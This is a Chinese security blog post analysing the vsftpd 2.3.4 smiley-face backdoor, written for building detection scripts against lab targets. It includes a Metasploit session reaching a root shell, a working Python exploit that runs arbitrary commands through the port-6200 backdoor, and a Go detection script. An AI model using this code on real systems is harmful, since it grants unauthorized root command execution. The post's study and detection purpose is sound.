Neurohazard
暮雲煙月,皓首窮經;森羅萬象,如是我聞。

VSFTPD v2.3.4 Backdoor Command Execution 简易分析

wpadmin~August 30, 2019 /InfoSec

Contents

VSFTPD v2.3.4 Backdoor Command Execution 简易分析

场景说明

编写 vsftpd 2.3.4 的后门检测脚本,首先尝试看了一些 exploit-db,毕竟是一个有着近十年历史的老漏洞,其 exploit 地址为 https://www.exploit-db.com/exploits/17491

漏洞简介

简而言之,开发者在 2.3.4 的 vsftpd 中植入了一个后门,该后门的使用方式如下:在 21 端口,使用随机用户名(末尾以 :) 笑脸结尾,使用随机密码在 TCP 流上进行 FTP 协议的认证,之后关闭连接。再新建一个 TCP 流,连接服务端的 6200 端口,此时服务端会将 /bin/sh 绑定到 6200 端口,即可进行命令执行。

相关代码流程细节可以参考末尾 k0shl 的分析。

靶机测试环境搭建

虚拟机方式

使用 Metasploitable 2
下载地址: https://sourceforge.net/projects/metasploitable/
之后使用 VMware Workstation 导入运行即可。
默认用户 msfadmin/msfdamin

Docker 方式

主要仓库
https://github.com/penkit/vsftpd

另一个可以参考的仓库
https://github.com/vitalyford/vsftpd-2.3.4-vulnerable

# https://github.com/penkit/vsftpd
sudo docker pull penkit/vsftpd:2.3.4
sudo docker run -p 21:21 -p 6200:6200 -d penkit/vsftpd:2.3.4

漏洞利用

可以使用 msf 来利用

msf5 > use exploit/unix/ftp/vsftpd_234_backdoor
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target address range or CIDR identifier
   RPORT   21               yes       The target port (TCP)


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf5 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.198.132
RHOSTS => 192.168.198.132
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.198.132:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.198.132:21 - USER: 331 Please specify the password.
[+] 192.168.198.132:21 - Backdoor service has been spawned, handling...
[+] 192.168.198.132:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.198.129:36609 -> 192.168.198.132:6200) at 2019-08-29 11:05:41 -0400

id
uid=0(root) gid=0(root)

检测脚本

Python 检测脚本

一个简易示例

# vsftpd_234_exploit.py
#!/usr/bin/python3
import socket
import sys
import time
import random
import string


def exploit(ip, port, command):
    """ Triggers vsftpd 2.3.4 backdoor and prints supplied command's output """

    try:
        print('[*] Attempting to trigger backdoor...')
        ftp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        ftp_socket.connect((ip, port))

        # Attempt to login to trigger backdoor
        username = "USER " + ''.join(random.sample(string.ascii_letters,4))+":)"+"\r\n"
        byte_username = username.encode('utf-8')
        ftp_socket.send(byte_username)
        print(username)
        # ftp_socket.send(b'USER letmein:)\n')


        password = "PASS " + ''.join(random.sample(string.ascii_letters,4)) + '\r\n'
        byte_password = password.encode('utf-8')
        ftp_socket.send(byte_password)
        print(password)
        # ftp_socket.send(b'PASS please\n')

        time.sleep(2)
        ftp_socket.close()
        print('[+] Triggered backdoor')

    except Exception:
        print('[!] Failed to trigger backdoor on %s' % ip)

    try:
        print('[*] Attempting to connect to backdoor...')
        backdoor_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        backdoor_socket.connect((ip, 6200))
        print('[+] Connected to backdoor on %s:6200' % ip)
        command = str.encode(command + '\n')
        backdoor_socket.send(command)
        response = backdoor_socket.recv(1024).decode('utf-8')
        print('[+] Response:\n', response, sep='')
        backdoor_socket.close()

    except Exception:
        print('[!] Failed to connect to backdoor on %s:6200' % ip)


if __name__ == '__main__':

    if len(sys.argv) < 4:
        print('Usage: ./vsftpd_234_exploit.py <IP address> <port> <command>')
        print('Example: ./vsftpd_234_exploit.py 192.168.1.10 21 whoami')

    else:
        exploit(sys.argv[1], int(sys.argv[2]), sys.argv[3])

Golang 检测脚本

一个简易示例

package main

import (
    "bufio"
    "bytes"
    "fmt"
    "net"
    "time"
)

func main() {
    fmt.Println("[*] vsftpd 2.3.4 backdoor detection starting ...")

    var username string
    var password string
    var payload string
    var message string
    var timeout time.Duration
    var ftpConn net.Conn
    var backdoorConn net.Conn
    var err error

    ftpURL := "192.168.198.132:21"
    backdoorURL := "192.168.198.132:6200"

    // Connect to this socket
    ftpConn, err = net.Dial("tcp", ftpURL)

    if err != nil {
        fmt.Println("[tcp] Error Connecting " + ftpURL + " " + string(err.Error()))
    }

    // grab banner
    message, _ = bufio.NewReader(ftpConn).ReadString('\n')
    fmt.Print(string(message))

    username = "USER user:)\r\n"
    // send to socket
    fmt.Fprintf(ftpConn, username)

    // listen for reply
    message, _ = bufio.NewReader(ftpConn).ReadString('\n')
    fmt.Print(string(message))

    password = "PASS pass\r\n"
    fmt.Fprintf(ftpConn, password)

    ftpConn.Close()

    time.Sleep(50 * time.Millisecond)

    // Backdoor Trigger Stage
    fmt.Println("[+] Triggered backdoor")
    fmt.Println("[*] Target: " + backdoorURL)

    timeout = time.Second * 2
    d := net.Dialer{Timeout: timeout}
    backdoorConn, err = d.Dial("tcp", backdoorURL)
    if err != nil {
        fmt.Println("[tcp] Error Connecting " + backdoorURL + " " + string(err.Error()))
        fmt.Println("NOT Vulnerable! ")
    }

    payload = "id\n"
    fmt.Fprintf(backdoorConn, payload)
    message, _ = bufio.NewReader(backdoorConn).ReadString('\n')

    fmt.Println("Response:")
    fmt.Print(string(message))
    backdoorConn.Close()

    // content := []byte("uid=0(root) gid=0(root)")
    if bytes.Contains([]byte(message), []byte("uid=")) {
        fmt.Println("Vulnerable! ")
    } else {
        fmt.Println("NOT Vulnerable! ")
    }

}

流量视角

如下图所示,左边是与 21 端口 有关的 ( tcp.dstport == 21 ) 的流量信息,右边是与 6200 有关的 ( tcp.dstport == 6200 ) shell 控制相关的流量信息。

msf 使用的 ftp 用户名和密码是 1-6 位随机字符。

sock.put("USER #{rand_text_alphanumeric(rand(6)+1)}:)\r\n")
sock.put("PASS #{rand_text_alphanumeric(rand(6)+1)}\r\n")

踩坑笔记

在搭建 docker 环境测试时,有时候会出现类似下面的错误,可能需要多 exploit 几次。

msf5 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.198.133:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.198.133:21 - USER: 331 Please specify the password.
[*] Exploit completed, but no session was created.

参考资料

1 VSFTPD V2.3.4 后门分析 – k0shl

https://whereisk0shl.top/post/vsftpd-v2.3.4hou-men-fen-xi

2 VSFTPD v2.3.4 著名笑脸漏洞手工利用 Backdoor Command Execution

https://blog.csdn.net/qq_38328382/article/details/89525630

3 VSFTPD v2.3.4 Backdoor Command Execution

https://www.rapid7.com/db/modules/exploit/unix/ftp/vsftpd_234_backdoor

4 https://github.com/In2econd/vsftpd-2.3.4-exploit

Leave a Reply

Your email address will not be published. Required fields are marked *